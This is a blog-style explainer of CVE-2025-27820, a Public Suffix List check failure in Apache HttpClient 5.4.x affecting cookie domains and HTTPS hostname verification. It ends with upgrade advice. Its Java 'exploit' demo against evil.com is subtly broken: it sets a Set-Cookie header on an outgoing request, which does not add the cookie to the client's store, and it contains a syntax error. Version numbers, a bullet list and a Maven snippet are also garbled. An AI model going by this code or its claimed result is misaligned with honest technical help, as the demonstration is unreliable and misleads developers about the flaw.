In early 2025, the Apache HttpClient team uncovered a subtle but critical bug in their popular HTTP communication library, culminating in the vulnerability tracked as CVE-2025-27820. If you use Apache HttpClient 5.4.x for making requests in Java, this flaw could leave your applications open to security risks — specifically, it disables essential checks for domain names when managing cookies and verifying HTTPS hostnames.
In this post, we’ll break down what happened, why it matters, show a proof-of-concept, and give you practical steps to protect your code. This post is exclusive and aims for plain-English clarity, no Ph.D. required.
What is Apache HttpClient?
Apache HttpClient is one of the most popular Java libraries for making HTTP requests. It’s used everywhere: in web servers, Android apps, microservices, and backend integrations. Developers trust it to handle things like cookies, redirects, and HTTPS verification.
The PSL Validation Check Goes Missing
Public Suffix List (PSL) is an Internet standard (publicsuffix.org) that helps software distinguish what “part” of a domain is the registrable owner (e.g., example.com vs. co.uk). HttpClient uses PSL logic to make sure a cookie issued to bad.example.co.uk can’t set a cookie for all of co.uk, which would be bad for security.
The Bug
Due to a logic bug in how PSL validation was integrated, HttpClient 5.4. through 5.4.2 accidentally skipped domain checking when handling cookies and HTTPS hostnames. In practical terms:
Https connections might fail to correctly check server hostnames.
Tracked as: CVE-2025-27820
Discovered by: The Apache HttpClient team
Patched in: HttpClient 5.4.3
What does “domain check disabled” mean?
1. Cookie Attacks: A malicious website or server can set cookies for “parent” domains (like .com) or unrelated domains, which breaks isolation between sites. This enables cookie theft, CSRF, or even session fixation attacks.
2. Hostname Verification: Without proper validation, HTTPS clients might connect to bad.evil.com but accept a certificate for good.bank.com. This opens the door for man-in-the-middle attacks.
Code Example: Exploiting the Flaw
Let’s see how this bug can be abused in vulnerable versions (5.4. to 5.4.2).
Suppose an attacker controls evil.com and wants to set a cookie for .com, something the PSL logic should block.
import org.apache.hc.client5.http.impl.classic.CloseableHttpClient;
import org.apache.hc.client5.http.impl.classic.HttpClients;
import org.apache.hc.client5.http.classic.methods.HttpGet;
import org.apache.hc.client5.http.cookie.BasicCookieStore;
import org.apache.hc.client5.http.cookie.Cookie;
import org.apache.hc.core5.http.io.entity.EntityUtils;
public class PslBypassDemo {
public static void main(String[] args) throws Exception {
BasicCookieStore cookieStore = new BasicCookieStore();
CloseableHttpClient client = HttpClients.custom()
.setDefaultCookieStore(cookieStore)
.build();
// Simulate server sending a dangerous Set-Cookie header:
HttpGet req = new HttpGet("http://evil.com";);
req.addHeader("Set-Cookie", "sessionId=attack; Domain=.com; Path=/");
// Execute the request
client.execute(req, response -> {
EntityUtils.consume(response.getEntity());
return null;
});
// Check what cookies got accepted
for (Cookie cookie : cookieStore.getCookies()) {
System.out.printf("Cookie: %s for domain: %s\n",
cookie.getName(), cookie.getDomain());
}
}
}
Expected in secure HTTP clients:
The cookie with Domain=.com should be rejected by PSL logic.
With the bug in 5.4.x (before 5.4.3):
The cookie is accepted, and now every .com site could receive this cookie.
Mitigation: How to Fix
1. Upgrade Now: Switch to HttpClient 5.4.3 or newer. This release re-enables PSL checks.
org.apache.httpcomponents.client5
httpclient5
5.4.3
`
References & Further Reading
- Apache HttpClient CVE-2025-27820 NVD Page
- Apache HttpClient Release Notes
- Public Suffix List: What is it?
- Official Fix Commit (Github)
Takeaways
- PSL domain and hostname checks are critical for trust when handling cookies and HTTPS connections.
Stay safe, and keep your dependencies up-to-date!
*Did you find this article helpful? Let us know, and subscribe for more plain-language security deep-dives!*
Timeline
Published on: 04/24/2025 12:15:16 UTC
Last modified on: 04/24/2025 15:15:57 UTC